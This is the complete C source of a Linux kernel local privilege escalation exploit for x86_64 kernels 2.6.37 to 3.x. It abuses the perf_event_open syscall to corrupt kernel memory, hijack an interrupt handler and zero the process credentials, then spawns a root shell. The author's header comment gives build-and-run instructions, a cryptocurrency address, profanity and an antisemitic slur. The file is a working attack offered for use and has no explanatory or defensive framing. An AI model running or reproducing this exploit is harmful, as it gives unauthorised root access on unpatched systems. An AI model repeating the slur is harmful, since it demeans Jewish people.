/*
* linux 2.6.37-3.x.x x86_64, ~100 LOC
* gcc-4.6 -O2 semtex.c && ./a.out
* 2010 sd@fucksheep.org, salut!
*
* update may 2013:
* seems like centos 2.6.32 backported the perf bug, lol.
* jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist.
*/
#define _GNU_SOURCE 1
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <syscall.h>
#include <stdint.h>
#include <assert.h>
#define BASE 0x380000000
#define SIZE 0x010000000
#define KSIZE 0x2000000
#define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))
void fuck() {
int i,j,k;
uint64_t uids[4] = { AB(2), AB(3), AB(4), AB(5) };
uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-8192));
uint64_t kbase = ((uint64_t)current)>>36;
uint32_t *fixptr = (void*) AB(1);
*fixptr = -1;
for (i=0; i<4000; i+=4) {
uint64_t *p = (void *)¤t[i];
uint32_t *t = (void*) p[0];
if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue;
for (j=0; j<20; j++) { for (k = 0; k < 8; k++)
if (((uint32_t*)uids)[k] != t[j+k]) goto next;
for (i = 0; i < 8; i++) t[j+i] = 0;
for (i = 0; i < 10; i++) t[j+9+i] = -1;
return;
next:; }
}
}
void sheep(uint32_t off) {
uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x300 };
int fd = syscall(298, buf, 0, -1, -1, 0);
assert(!close(fd));
}
int main() {
uint64_t u,g,needle, kbase, *p; uint8_t *code;
uint32_t *map, j = 5;
int i;
struct {
uint16_t limit;
uint64_t addr;
} __attribute__((packed)) idt;
assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE);
memset(map, 0, SIZE);
sheep(-1); sheep(-2);
for (i = 0; i < SIZE/4; i++) if (map[i]) {
assert(map[i+1]);
break;
}
assert(i<SIZE/4);
asm ("sidt %0" : "=m" (idt));
kbase = idt.addr & 0xff000000;
u = getuid(); g = getgid();
assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase);
memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &fuck, 1024);
memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf",
printf("2.6.37-3.x x86_64\nsd@fucksheep.org 2010\n") % 27);
setresuid(u,u,u); setresgid(g,g,g);
while (j--) {
needle = AB(j+1);
assert(p = memmem(code, 1024, &needle, 8));
if (!p) continue;
*p = j?((g<<32)|u):(idt.addr + 0x48);
}
sheep(-i + (((idt.addr&0xffffffff)-0x80000000)/4) + 16);
asm("int $0x4"); assert(!setuid(0));
return execl("/bin/bash", "-sh", NULL);
}
